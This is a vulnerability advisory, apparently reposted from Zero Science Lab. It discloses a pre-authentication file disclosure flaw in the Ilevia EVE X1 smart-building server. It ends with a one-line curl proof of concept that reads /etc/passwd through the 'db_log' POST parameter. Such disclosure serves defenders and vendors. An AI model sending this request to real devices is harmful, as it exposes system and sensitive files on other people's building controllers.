📄 Ilevia EVE X1 Server 4.7.18.0.eden File Disclosure

Ilevia EVE X1 Server 4.7.18.0.eden (db_log) Pre-Auth File Disclosure
    
    
    Vendor: Ilevia Srl.
    Product web page: https://www.ilevia.com
    Affected version: <=4.7.18.0.eden (Logic ver: 6.00)
    
    Summary: EVE is a smart home and building automation solution designed
    for both residential and commercial environments, including malls, hotels,
    restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
    control and monitoring of electrical installations through a highly customizable,
    user-friendly interface.
    
    EVE is a multi-protocol platform that integrates various systems within
    a smart building to enhance comfort, security, safety, and energy efficiency.
    Users can manage building functions via iPhone, iPad, Android devices, Windows
    PCs, or Mac computers.
    
    The EVE X1 Server is the dedicated hardware solution for advanced building
    automation needs. Compact and powerful, it is ideal for apartments, small
    to medium-sized homes, and smaller commercial installations. It is designed
    to manage entire automation systems reliably and efficiently.
    
    Desc: The controller suffers from an unauthenticated file disclosure vulnerability.
    Using the 'db_log' POST parameter, attackers can disclose arbitrary files on
    the affected device and disclose sensitive and system information.
    
    Tested on: GNU/Linux 5.4.35 (armv7l)
               GNU/Linux 4.19.97 (armv7l)
               Armbian 20.02.1 Buster
               Apache/2.4.38 (Debian)
               PHP Version 7.3.14
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5955
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5955.php
    
    
    01.05.2024
    
    --
    
    
    $ curl -X POST "http://ilevia:8080/ajax/php/dbcheck.php" -d "db_log=/etc/passwd"